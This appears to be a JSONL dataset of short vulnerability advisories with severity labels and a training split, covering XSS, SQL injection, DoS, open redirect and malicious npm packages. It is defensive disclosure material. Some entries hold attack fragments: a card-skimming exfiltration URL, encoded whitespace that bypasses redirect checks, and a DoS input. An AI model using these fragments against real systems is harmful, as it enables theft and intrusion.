-{"id": "d0788e25523bcabb6bfe", "text": "Status Board vulnerable to Cross-Site Scripting before v1.1.82\n\nVersions of `status-board` prior to 1.1.82 are vulnerable to Cross-Site Scripting. The `renderDashboard()` function concatenates the `safeDashboard` variable to the printed error message with insufficient sanitization. If this variable is controlled by user input it allows attackers to execute arbitrary JavaScript in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 1.1.82 to receive a patch.", "text_raw": "Status Board vulnerable to Cross-Site Scripting before v1.1.82\n\n[Severity: MEDIUM]\n\nVersions of `status-board` prior to 1.1.82 are vulnerable to Cross-Site Scripting. The `renderDashboard()` function concatenates the `safeDashboard` variable to the printed error message with insufficient sanitization. If this variable is controlled by user input it allows attackers to execute arbitrary JavaScript in a victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 1.1.82 to receive a patch.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-23", "split": "train"}
-{"id": "a5be85ec0cff36be860f", "text": "Apache Ignite communicates to an external PHP server where sensitive information is sent\n\nApache Ignite 1.0.0-RC3 to 2.0 uses an update notifier component to update the users about new project releases that include additional functionality, bug fixes and performance improvements. To do that the component communicates to an external PHP server (http://ignite.run) where it needs to send some system properties like Apache Ignite or Java version. Some of the properties might contain user sensitive information.", "text_raw": "Apache Ignite communicates to an external PHP server where sensitive information is sent\n\n[Severity: HIGH]\n\nApache Ignite 1.0.0-RC3 to 2.0 uses an update notifier component to update the users about new project releases that include additional functionality, bug fixes and performance improvements. To do that the component communicates to an external PHP server (http://ignite.run) where it needs to send some system properties like Apache Ignite or Java version. Some of the properties might contain user sensitive information.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "4e9d59ac5bfb4a43a6b3", "text": "Off-by-one error in simple-slab\n\nAn issue was discovered in the simple-slab crate before 0.3.3 for Rust. remove() has an off-by-one error, causing memory leakage and a drop of uninitialized memory.", "text_raw": "Off-by-one error in simple-slab\n\n[Severity: HIGH]\n\nAn issue was discovered in the simple-slab crate before 0.3.3 for Rust. remove() has an off-by-one error, causing memory leakage and a drop of uninitialized memory.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "96b38c9ce0f635653b80", "text": "Prototype Pollution in sahmat\n\nAll versions of `sahmat ` are vulnerable to prototype pollution. The package does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Prototype Pollution in sahmat\n\n[Severity: HIGH]\n\nAll versions of `sahmat ` are vulnerable to prototype pollution. The package does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "37443a11e14adfc7b1a3", "text": "SQL Injection in sequelize\n\nVersions 2.0.0-rc-7 and earlier of `sequelize` are affected by a SQL injection vulnerability when user input is passed into the order parameter.\n\n## Proof of Concept\n\n```javascript\nTest.findAndCountAll({\nwhere: { id :1 },\norder : [['id', 'UNTRUSTED USER INPUT']]\n})\n```\n\n## Recommendation\n\nUpdate to version 2.0.0-rc8 or later", "text_raw": "SQL Injection in sequelize\n\n[Severity: HIGH]\n\nVersions 2.0.0-rc-7 and earlier of `sequelize` are affected by a SQL injection vulnerability when user input is passed into the order parameter.\n\n\n\n## Proof of Concept\n\n```javascript\nTest.findAndCountAll({\nwhere: { id :1 },\norder : [['id', 'UNTRUSTED USER INPUT']]\n})\n```\n\n\n## Recommendation\n\nUpdate to version 2.0.0-rc8 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "d82cd2e1c9f68cf03877", "text": "Sydent vulnerable to denial of service attack via memory exhaustion\n\n### Impact\n\nSydent does not limit the size of requests it receives from HTTP clients. A malicious user could send an HTTP request with a very large body, leading to disk space exhaustion and denial of service.\n\nSydent also does not limit response size for requests it makes to remote Matrix homeservers. A malicious homeserver could return a very large response, again leading to memory exhaustion and denial of service.\n\nThis affects any server which accepts registration requests from untrusted clients.\n\n### Patches\n\nPatched by 89071a1, 0523511, f56eee3.\n\n### Workarounds\n\nRequest sizes can be limited in an HTTP reverse-proxy.\n\nThere are no known workarounds for the problem with overlarge responses.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "text_raw": "Sydent vulnerable to denial of service attack via memory exhaustion\n\n[Severity: HIGH]\n\n### Impact\n\nSydent does not limit the size of requests it receives from HTTP clients. A malicious user could send an HTTP request with a very large body, leading to disk space exhaustion and denial of service.\n\nSydent also does not limit response size for requests it makes to remote Matrix homeservers. A malicious homeserver could return a very large response, again leading to memory exhaustion and denial of service.\n\nThis affects any server which accepts registration requests from untrusted clients.\n\n### Patches\n\nPatched by 89071a1, 0523511, f56eee3.\n\n### Workarounds\n\nRequest sizes can be limited in an HTTP reverse-proxy.\n\nThere are no known workarounds for the problem with overlarge responses.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "b1245089e840b87a458b", "text": "Command Injection in killport\n\nThis affects the package killport before 1.0.2. If (attacker-controlled) user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization. Running this PoC will cause the command touch success to be executed, leading to the creation of a file called success.", "text_raw": "Command Injection in killport\n\n[Severity: HIGH]\n\nThis affects the package killport before 1.0.2. If (attacker-controlled) user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization. Running this PoC will cause the command touch success to be executed, leading to the creation of a file called success.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "06eb88de7dcb098a34a9", "text": "Inim Electronics Smartliving SmartLAN/G/SI <=6.x Hard-coded Credentials", "text_raw": "Inim Electronics Smartliving SmartLAN/G/SI <=6.x Hard-coded Credentials\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-12-09", "split": "train"}
-{"id": "dad02320763218026f7f", "text": "Operation Technology ETAP 14.1.0 Multiple Stack Buffer Overrun Vulnerabilities", "text_raw": "Operation Technology ETAP 14.1.0 Multiple Stack Buffer Overrun Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-05-22", "split": "train"}
-{"id": "ccd3927f1966999dd24a", "text": "Out of bounds write in slice-deque\n\nAffected versions of this crate entered a corrupted state if mem::size_of::<T>() % allocation_granularity() != 0 and a specific allocation pattern was used: sufficiently shifting the deque elements over the mirrored page boundary.\n\nThis allows an attacker that controls controls both element insertion and removal to corrupt the deque, such that reading elements from it would read bytes corresponding to other elements in the deque. (e.g. a read of T could read some bytes from one value and some bytes from an adjacent one, resulting in a T whose value representation is not meaningful). This is undefined behavior.\n\nThe flaw was corrected by using a pair of pointers to track the head and tail of the deque instead of a pair of indices. This pair of pointers are represented using a Rust slice.", "text_raw": "Out of bounds write in slice-deque\n\n[Severity: CRITICAL]\n\nAffected versions of this crate entered a corrupted state if mem::size_of::<T>() % allocation_granularity() != 0 and a specific allocation pattern was used: sufficiently shifting the deque elements over the mirrored page boundary.\n\nThis allows an attacker that controls controls both element insertion and removal to corrupt the deque, such that reading elements from it would read bytes corresponding to other elements in the deque. (e.g. a read of T could read some bytes from one value and some bytes from an adjacent one, resulting in a T whose value representation is not meaningful). This is undefined behavior.\n\nThe flaw was corrected by using a pair of pointers to track the head and tail of the deque instead of a pair of indices. This pair of pointers are represented using a Rust slice.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6a9804617d6d8f5e654d", "text": "Open Redirect in OAuth2 Proxy\n\n### Impact\nAs users can provide a redirect address for the proxy to send the authenticated user to at the end of the authentication flow. This is expected to be the original URL that the user was trying to access.\nThis redirect URL is checked within the proxy and validated before redirecting the user to prevent malicious actors providing redirects to potentially harmful sites.\n\nHowever, by crafting a redirect URL with HTML encoded whitespace characters (eg. `%0a`, `%0b`,`%09`,`%0d`) the validation could be bypassed and allow a redirect to any URL provided.\n\n### Patches\n@rootxharsh and @iamnoooob provided this patch as potential solution:\n```\nFrom 4b941f56eda310b5c4dc8080b7635a6bfabccad4 Mon Sep 17 00:00:00 2001\nFrom: Harsh Jaiswal <harsh@pop-os.localdomain>\nDate: Fri, 1 May 2020 20:38:31 +0530\nSubject: [PATCH] Fixes redirect issue\n\n---\n oauthproxy.go | 3 ++-\n 1 file changed, 2 insertions(+), 1 deletion(-)\n\ndiff --git a/oauthproxy.go b/oauthproxy.go\nindex 1e9bb7c..f8beb4d 100644\n--- a/oauthproxy.go\n+++ b/oauthproxy.go\n@@ -577,8 +577,9 @@ func validOptionalPort(port string) bool {\n\n// IsValidRedirect checks whether the redirect URL is whitelisted\n func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n+       matched, _ := regexp.MatchString(`^/\\s+/|\\\\`, redirect)\n        switch {\n-       case strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !strings.HasPrefix(redirect, \"/\\\\\"):\n+       case strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !matched:\n                return true\n        case strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n                redirectURL, err := url.Parse(redirect)\n--\n2.17.1\n```\n\nThis issue was also reported to us separately by @mik317 several hours later\n\nThe fix was implemented in [#xxx]() and released as version 5.1.1", "text_raw": "Open Redirect in OAuth2 Proxy\n\n[Severity: HIGH]\n\n### Impact\nAs users can provide a redirect address for the proxy to send the authenticated user to at the end of the authentication flow. This is expected to be the original URL that the user was trying to access.\nThis redirect URL is checked within the proxy and validated before redirecting the user to prevent malicious actors providing redirects to potentially harmful sites.\n\nHowever, by crafting a redirect URL with HTML encoded whitespace characters (eg. `%0a`, `%0b`,`%09`,`%0d`) the validation could be bypassed and allow a redirect to any URL provided.\n\n### Patches\n@rootxharsh and @iamnoooob provided this patch as potential solution:\n```\nFrom 4b941f56eda310b5c4dc8080b7635a6bfabccad4 Mon Sep 17 00:00:00 2001\nFrom: Harsh Jaiswal <harsh@pop-os.localdomain>\nDate: Fri, 1 May 2020 20:38:31 +0530\nSubject: [PATCH] Fixes redirect issue\n\n---\n oauthproxy.go | 3 ++-\n 1 file changed, 2 insertions(+), 1 deletion(-)\n\ndiff --git a/oauthproxy.go b/oauthproxy.go\nindex 1e9bb7c..f8beb4d 100644\n--- a/oauthproxy.go\n+++ b/oauthproxy.go\n@@ -577,8 +577,9 @@ func validOptionalPort(port string) bool {\n\n // IsValidRedirect checks whether the redirect URL is whitelisted\n func (p *OAuthProxy) IsValidRedirect(redirect string) bool {\n+       matched, _ := regexp.MatchString(`^/\\s+/|\\\\`, redirect)\n        switch {\n-       case strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !strings.HasPrefix(redirect, \"/\\\\\"):\n+       case strings.HasPrefix(redirect, \"/\") && !strings.HasPrefix(redirect, \"//\") && !matched:\n                return true\n        case strings.HasPrefix(redirect, \"http://\") || strings.HasPrefix(redirect, \"https://\"):\n                redirectURL, err := url.Parse(redirect)\n--\n2.17.1\n```\n\nThis issue was also reported to us separately by @mik317 several hours later\n\nThe fix was implemented in [#xxx]() and released as version 5.1.1", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "4d17cc86491825fca051", "text": "Malicious Package in scryptys\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in scryptys\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b91ccf46f5cdfedd8ff5", "text": "Infinite Loop in rencode\n\nThe rencode package through 1.0.6 for Python allows an infinite loop in typecode decoding (such as via ;\\x2f\\x7f), enabling a remote attack that consumes CPU and memory.", "text_raw": "Infinite Loop in rencode\n\n[Severity: HIGH]\n\nThe rencode package through 1.0.6 for Python allows an infinite loop in typecode decoding (such as via ;\\x2f\\x7f), enabling a remote attack that consumes CPU and memory.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-13", "split": "train"}
-{"id": "35563dcd5216be105a2f", "text": "Command injection in Apache Unomi\n\nApache Unomi prior to version 1.5.5 allows CRLF log injection because of the lack of escaping in the log statements.", "text_raw": "Command injection in Apache Unomi\n\n[Severity: HIGH]\n\nApache Unomi prior to version 1.5.5 allows CRLF log injection because of the lack of escaping in the log statements.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "5f99057303d34253c376", "text": "Code Injection in node-rules\n\nnode-rules including 3.0.0 and prior to 5.0.0 allows injection of arbitrary commands. The argument rules of function \"fromJSON()\" can be controlled by users without any sanitization.", "text_raw": "Code Injection in node-rules\n\n[Severity: CRITICAL]\n\nnode-rules including 3.0.0 and prior to 5.0.0 allows injection of arbitrary commands. The argument rules of function \"fromJSON()\" can be controlled by users without any sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "94c11bfd012dd2deb30a", "text": "Oracle Multiple Products Remote Code Execution Vulnerability\n\nAffected: Oracle Multiple Products\n\nMultiple Oracle products contain a remote code execution vulnerability that allows an unauthenticated attacker with network access via T3 or HTTP to takeover the affected system. Impacted Oracle products: Oracle Coherence in Fusion Middleware, Oracle Utilities Framework, Oracle Retail Assortment Planning, Oracle Commerce, Oracle Communications Diameter Signaling Router (DSR).\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Oracle Multiple Products Remote Code Execution Vulnerability\n\nAffected: Oracle Multiple Products\n\nMultiple Oracle products contain a remote code execution vulnerability that allows an unauthenticated attacker with network access via T3 or HTTP to takeover the affected system. Impacted Oracle products: Oracle Coherence in Fusion Middleware, Oracle Utilities Framework, Oracle Retail Assortment Planning, Oracle Commerce, Oracle Communications Diameter Signaling Router (DSR).\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "9931134d88acf9c37604", "text": "Improper Input Validation in cookie\n\nAffected versions of this crate use the time crate and the method Duration::seconds to parse the Max-Age duration cookie setting. This method will panic if the value is greater than 2^64/1000 and less than or equal to 2^64, which can result in denial of service for a client or server.\n\nThis flaw was corrected by explicitly checking for the Max-Age being in this integer range and clamping the value to the maximum duration value.", "text_raw": "Improper Input Validation in cookie\n\n[Severity: HIGH]\n\nAffected versions of this crate use the time crate and the method Duration::seconds to parse the Max-Age duration cookie setting. This method will panic if the value is greater than 2^64/1000 and less than or equal to 2^64, which can result in denial of service for a client or server.\n\nThis flaw was corrected by explicitly checking for the Max-Age being in this integer range and clamping the value to the maximum duration value.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0bbf1dd9a8600d704aab", "text": "Malicious Package in grunt-radic\n\nVersion 0.1.1 of `grunt-radic` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.1.0", "text_raw": "Malicious Package in grunt-radic\n\n[Severity: CRITICAL]\n\nVersion 0.1.1 of `grunt-radic` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.1.0", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "989aed664e413e8abf4d", "text": "Unsafe deserialization in confire\n\nAn exploitable vulnerability exists in the YAML parsing functionality in config.py in Confire 0.2.0. Due to the user-specific configuration being loaded from \"~/.confire.yaml\" using the yaml.load function, a YAML parser can execute arbitrary Python commands resulting in command execution. An attacker can insert Python into loaded YAML to trigger this vulnerability.", "text_raw": "Unsafe deserialization in confire\n\n[Severity: CRITICAL]\n\nAn exploitable vulnerability exists in the YAML parsing functionality in config.py in Confire 0.2.0. Due to the user-specific configuration being loaded from \"~/.confire.yaml\" using the yaml.load function, a YAML parser can execute arbitrary Python commands resulting in command execution. An attacker can insert Python into loaded YAML to trigger this vulnerability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "6b110774343d662877a9", "text": "Apache Log4j2 vulnerable to Improper Input Validation and Uncontrolled Recursion\n\nApache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3.\n\n# Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.", "text_raw": "Apache Log4j2 vulnerable to Improper Input Validation and Uncontrolled Recursion\n\n[Severity: HIGH]\n\nApache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3.\n\n\n# Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-18", "split": "train"}
-{"id": "7e0a1f42c3597f196d16", "text": "Cleartext Transmission of Sensitive Information, Inclusion of Functionality from Untrusted Control Sphere , and Download of Code Without Integrity Check in Eclipse hawkBit\n\nEclipse hawkBit versions prior to 0.3.0M2 resolved Maven build artifacts for the Vaadin based UI over HTTP instead of HTTPS. Any of these dependent artifacts could have been maliciously compromised by a MITM attack. Hence produced build artifacts of hawkBit might be infected.", "text_raw": "Cleartext Transmission of Sensitive Information, Inclusion of Functionality from Untrusted Control Sphere , and Download of Code Without Integrity Check in Eclipse hawkBit \n\n[Severity: HIGH]\n\nEclipse hawkBit versions prior to 0.3.0M2 resolved Maven build artifacts for the Vaadin based UI over HTTP instead of HTTPS. Any of these dependent artifacts could have been maliciously compromised by a MITM attack. Hence produced build artifacts of hawkBit might be infected.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-15", "split": "train"}
-{"id": "d8162c38c7fb49d8527f", "text": "Cross-site Request Forgery in fastify-csrf\n\nThe package fastify-csrf before 3.0.0 has a set of issues that affect its ability to do CSRF protection.\n1. The generated cookie used insecure defaults, and did not have the httpOnly flag on: `cookieOpts: { path: '/', sameSite: true }`\n2. The CSRF token was available in the GET query parameter", "text_raw": "Cross-site Request Forgery in fastify-csrf\n\n[Severity: HIGH]\n\nThe package fastify-csrf before 3.0.0 has a set of issues that affect its ability to do CSRF protection.\n1. The generated cookie used insecure defaults, and did not have the httpOnly flag on: `cookieOpts: { path: '/', sameSite: true }`\n2. The CSRF token was available in the GET query parameter", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-20", "split": "train"}
-{"id": "18d8ea2a11963a6e3553", "text": "node-tkinter is malware\n\nThe `node-tkinter` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "node-tkinter is malware\n\n[Severity: HIGH]\n\nThe `node-tkinter` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-01", "split": "train"}
-{"id": "7fac1ec5ae8373a5b150", "text": "Data leakage via SQL Injection in Pimcore\n\npimcore/pimcore before 6.3.0 is vulnerable to SQL Injection. An attacker with limited privileges (classes permission) can achieve a SQL injection that can lead in data leakage. The vulnerability can be exploited via 'id', 'storeId', 'pageSize' and 'tables' parameters, using a payload for trigger a time based or error based sql injection.", "text_raw": "Data leakage via SQL Injection in Pimcore\n\n[Severity: MEDIUM]\n\npimcore/pimcore before 6.3.0 is vulnerable to SQL Injection. An attacker with limited privileges (classes permission) can achieve a SQL injection that can lead in data leakage. The vulnerability can be exploited via 'id', 'storeId', 'pageSize' and 'tables' parameters, using a payload for trigger a time based or error based sql injection.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "8824eb4d969ddc9ac9b6", "text": "FLIR Systems FLIR Brickstream 3D+ Unauthenticated Config Download File Disclosure", "text_raw": "FLIR Systems FLIR Brickstream 3D+ Unauthenticated Config Download File Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-10-14", "split": "train"}
-{"id": "1e83d0053b386bf59f4a", "text": "Invalid root may become trusted root in The Update Framework (TUF)\n\n### Impact\nThe Python TUF reference implementation `tuf<0.12` will incorrectly trust a previously downloaded root metadata file which failed verification at download time. This allows an attacker who is able to serve multiple new versions of root metadata (i.e. by a man-in-the-middle attack) culminating in a version which has not been correctly signed to control the trust chain for future updates.\n\nWhile investigating the reported vulnerability, we discovered that the detailed client workflow was not fully implemented. Specifically, for step 1.3 the newly downloaded root metadata was not being verified with a threshold of keys specified in the new root metadata file.\nThis missing step of the client workflow has been implemented in [PR #1101](https://github.com/theupdateframework/tuf/pull/1101), which is included in [v0.14.0](https://github.com/theupdateframework/tuf/releases/tag/v0.14.0) of tuf.\n\n### Patches\nA [fix](https://github.com/theupdateframework/tuf/pull/885), is available in version [0.12](https://github.com/theupdateframework/tuf/releases/tag/v0.12.0) and newer.\n\n### Workarounds\nNo workarounds are known for this issue.\n\n### References\n* Pull request resolving the invalid root becoming trusted issue [PR 885](https://github.com/theupdateframework/tuf/pull/885)\n* Pull request implementing self verification of newly downloaded root metadata [PR 1101](https://github.com/theupdateframework/tuf/pull/1101)", "text_raw": "Invalid root may become trusted root in The Update Framework (TUF)\n\n[Severity: MEDIUM]\n\n### Impact\nThe Python TUF reference implementation `tuf<0.12` will incorrectly trust a previously downloaded root metadata file which failed verification at download time. This allows an attacker who is able to serve multiple new versions of root metadata (i.e. by a man-in-the-middle attack) culminating in a version which has not been correctly signed to control the trust chain for future updates.\n\nWhile investigating the reported vulnerability, we discovered that the detailed client workflow was not fully implemented. Specifically, for step 1.3 the newly downloaded root metadata was not being verified with a threshold of keys specified in the new root metadata file.\nThis missing step of the client workflow has been implemented in [PR #1101](https://github.com/theupdateframework/tuf/pull/1101), which is included in [v0.14.0](https://github.com/theupdateframework/tuf/releases/tag/v0.14.0) of tuf.\n\n### Patches\nA [fix](https://github.com/theupdateframework/tuf/pull/885), is available in version [0.12](https://github.com/theupdateframework/tuf/releases/tag/v0.12.0) and newer.\n\n### Workarounds\nNo workarounds are known for this issue.\n\n### References\n* Pull request resolving the invalid root becoming trusted issue [PR 885](https://github.com/theupdateframework/tuf/pull/885)\n* Pull request implementing self verification of newly downloaded root metadata [PR 1101](https://github.com/theupdateframework/tuf/pull/1101)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-09", "split": "train"}
-{"id": "f5e7c82fcf2859e8188b", "text": "Prototype Pollution in node.extend\n\nVersions of `node.extend` before 1.1.7 or 2.0.1 are vulnerable to prototype pollution.\n\n## Recommendation\n\nUpdate to version 1.1.7, 2.0.1 or later.", "text_raw": "Prototype Pollution in node.extend\n\n[Severity: CRITICAL]\n\nVersions of `node.extend` before 1.1.7 or 2.0.1 are vulnerable to prototype pollution. \n\n\n## Recommendation\n\nUpdate to version 1.1.7, 2.0.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "01c946c79eae14803fd4", "text": "Excessive memory usage in tokio-rustls\n\ntokio-rustls does not call process_new_packets immediately after read, so the expected termination condition wants_read always returns true. As long as new incoming data arrives faster than it is processed and the reader does not return pending, data will be buffered. This may cause DoS.", "text_raw": "Excessive memory usage in tokio-rustls\n\n[Severity: HIGH]\n\ntokio-rustls does not call process_new_packets immediately after read, so the expected termination condition wants_read always returns true. As long as new incoming data arrives faster than it is processed and the reader does not return pending, data will be buffered. This may cause DoS.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "f76a457115c5ef71bd49", "text": "Server-Side Request Forgery in phantomjs-seo\n\nThis affects all versions of package phantomjs-seo. It is possible for an attacker to craft a url that will be passed to a PhantomJS instance allowing for an SSRF attack.", "text_raw": "Server-Side Request Forgery in phantomjs-seo\n\n[Severity: HIGH]\n\nThis affects all versions of package phantomjs-seo. It is possible for an attacker to craft a url that will be passed to a PhantomJS instance allowing for an SSRF attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "26575a55b0c2d645bfdb", "text": "Junrar vulnerable to Infinite Loop\n\nArchive.java in Junrar before 1.0.1, as used in Apache Tika and other products, is affected by a denial of service vulnerability due to an infinite loop when handling corrupt RAR files.", "text_raw": "Junrar vulnerable to Infinite Loop\n\n[Severity: MEDIUM]\n\nArchive.java in Junrar before 1.0.1, as used in Apache Tika and other products, is affected by a denial of service vulnerability due to an infinite loop when handling corrupt RAR files.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "524c930b1a1a87254c8b", "text": "KevinLAB BEMS 1.0 Undocumented Backdoor Account", "text_raw": "KevinLAB BEMS 1.0 Undocumented Backdoor Account\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-07-20", "split": "train"}
-{"id": "93d31eacc509f3f80532", "text": "Improper Resource Shutdown or Release in HashiCorp Vault\n\nHashiCorp Vault Enterprise 0.11.0 through 1.3.1 fails, in certain circumstances, to revoke dynamic secrets for a mount in a deleted namespace. Fixed in 1.3.2.", "text_raw": "Improper Resource Shutdown or Release in HashiCorp Vault\n\n[Severity: HIGH]\n\nHashiCorp Vault Enterprise 0.11.0 through 1.3.1 fails, in certain circumstances, to revoke dynamic secrets for a mount in a deleted namespace. Fixed in 1.3.2.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "3d5839601df2b94f8b5e", "text": "HTML Injection in marky-markdown\n\nAll versions of `marky-markdown` are vulnerable to HTML Injection. The package fails to sanitize `style` attributes in `img` tags of the markdown input. This may allow attackers to affect the size of images in the rendered HTML.\n\n## Recommendation\n\nThis package is no longer maintained. Please upgrade to `@npmcorp/marky-markdown`", "text_raw": "HTML Injection in marky-markdown\n\n[Severity: HIGH]\n\nAll versions of `marky-markdown` are vulnerable to HTML Injection. The package fails to sanitize `style` attributes in `img` tags of the markdown input. This may allow attackers to affect the size of images in the rendered HTML.\n\n\n## Recommendation\n\nThis package is no longer maintained. Please upgrade to `@npmcorp/marky-markdown`", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
